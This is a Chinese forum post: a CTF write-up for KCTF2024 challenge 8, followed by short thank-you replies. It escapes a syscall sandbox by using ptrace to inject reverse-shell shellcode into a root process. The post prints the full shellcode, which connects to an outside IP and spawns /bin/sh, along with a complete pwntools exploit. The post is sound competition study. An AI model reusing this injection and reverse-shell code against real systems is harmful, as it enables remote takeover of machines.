吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1188|回复: 9
收起左侧

[CTF] KCTF2024第八题 writeup

[复制链接]
xia0ji233 发表于 2024-9-2 22:29

KCTF2024第八题——星门 writeup

<!--more-->

思路分析

拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。

沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。

其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。

#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

​ 于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。

发现了进程 sleep infinity,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。

最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。

代码编写

反弹shell

于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。

反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:

  1. 起一个socket套接字
  2. 连接远程服务器
  3. 将标准输入,标准输出,标准错误描述符都重定向到这个套接字描述符。
  4. execve 运行一个 shell 程序。

这四个步骤分别可以对应

  1. socket
  2. connect
  3. dup2
  4. execve

这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。

最终我的 shellcode 如下:

mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。

至于 0xe14e2b650f270002 这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是

struct sockaddr_in serverAddr;
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);//TCP listen
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(9999);
serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225");
connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))

编译,gdb调试

得到对应 ip portserverAddr 的值。

这里需要注意的是,connect 中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。

然后就能得到手搓的 connect 代码。

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

将代码注入一个 demo 进程,反弹 shell 成功

注入进程

随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。

这里把上面编译好的 shellcode 放到  + 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。

这里可以写一个被注入进程的 demo。

#include<unistd.h>
#include<stdio.h>
int main(){
    printf("pid=%d\n",getpid());
    while(1){
//      sleep(1);
    }
}

相关 ptrace 的解析,可以看我这一篇文章。首先我们要用 PTRACE_ATTACH 去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 mov r10,rcx

所以第一步

/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall

第一句是因为调用入口时 call rdx 因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。

第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。

ptrace 有获取寄存器的选项,ptrace(PTRACE_GETREGS, pid, NULL, ®s);

第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。

mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall

接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。

pop rcx
push rcx
add rcx,0x880
mov rdx,[rcx]
/*RIP offset*/

接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。

最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。

本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否 <0,我遇到的比较多的是返回 -5,当时是一个内存写入错误,仔细一查发现是汇编代码写错了一个,导致取到了错误的地址。

最终EXP

from pwn import *
if len(sys.argv)!=2:
    print('usage: exp.py pid')
    quit()
context.arch='amd64'
serveraddr=[0xe14e2b650f270002,0x0000000000000064]
#server struct
#target ip: 101.43.78.225:9999
#p=process('./test')
p=remote('47.101.191.23',9999)
#p.recvuntil('0x')
#addr=int(p.recv(12),16)

addr=0x7f0000000000
inject_shellcode=f'''
/*socket(AF_INET,SOCK_STREAM,0)*/
mov edi,1
mov rsi,rsp
mov rdx,0x30
mov eax,1
syscall

mov edi,2
mov esi,1
mov edx,0
mov eax,41
syscall

mov r14,0xe14e2b650f270002
mov r15,0x64
mov r12,rsp
mov [r12],r14
mov [r12+8],r15
mov r13,r12
/*connect(sockfd,serveraddr,16)*/
mov edi,eax
mov rsi,r13
mov edx,16
mov eax,42
syscall

/* dup2(fd=3, fd2=0) */
push 3
pop rdi
xor esi, esi /* 0 */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=1) */
push 3
pop rdi
push 1
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* dup2(fd=3, fd2=2) */
push 3
pop rdi
push 2
pop rsi
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall

/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
#print(len(asm(inject_shellcode)))
inject_shellbytes=b'\x90'*6+asm(inject_shellcode)
print('inject_shellcode: '+hex(len(inject_shellbytes)))
pid=sys.argv[1]
shellcode=f'''
/*save mmap start addr*/
push rdx
/* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */
mov edi,0x10/*ATTACH*/
mov esi,{pid}
mov rdx,0
mov rcx,0
mov eax,SYS_ptrace /* 0x65 */
syscall

test ax,ax
jnz fail

mov edi,0xc /*GETREGS*/
mov esi,{pid}
mov rdx,0
pop rcx
push rcx
add rcx,0x800
mov r10,rcx
mov eax,SYS_ptrace /* 0x65 */
syscall

pop rcx
push rcx
add rcx,0x880
mov rdx,[rcx]
/*RIP offset*/
pop rcx
add rcx,0x200
push rcx
/*inject shellcode*/
push rdx
mov rbx,0x100
loop:
    pop rdx
    pop rcx
    push rcx
    push rdx
    mov edi,4/*pokedata*/
    mov rsi,{pid}
    mov r10,[rcx]
    mov eax,SYS_ptrace
    syscall
    pop rdx
    pop rcx
    add rcx,8
    add rdx,8
    push rcx
    push rdx
    sub rbx,8
    test rbx,rbx
    jnz loop

mov edi,7
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall
mov edi,17
mov rsi,{pid}
mov rdx,0
mov r10,0
mov eax,SYS_ptrace
syscall

fail:
'''
payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes

#payload=inject_shellbytes

#gdb.attach(p)
p.send(payload)

#p.close()
p.interactive()

当时试了一个 pid=17 就反弹成功了。

后话

其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
x410823 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

szluyang 发表于 2024-9-2 22:47
看大佬们的精彩展示。
aniceday 发表于 2024-9-3 00:02
hehewolaile 发表于 2024-9-3 11:23
chronos8963 发表于 2024-9-3 17:10
大佬分析的很详细,来学习一下。
dkmg 发表于 2024-9-4 16:31
勉强看到gdb调试那里最终还是只能放弃了   

跟不上实在跟不上
renjw234 发表于 2024-9-27 08:41
牛人,感谢分享哈
光影由心 发表于 2024-9-29 16:23
感谢分享!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 09:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表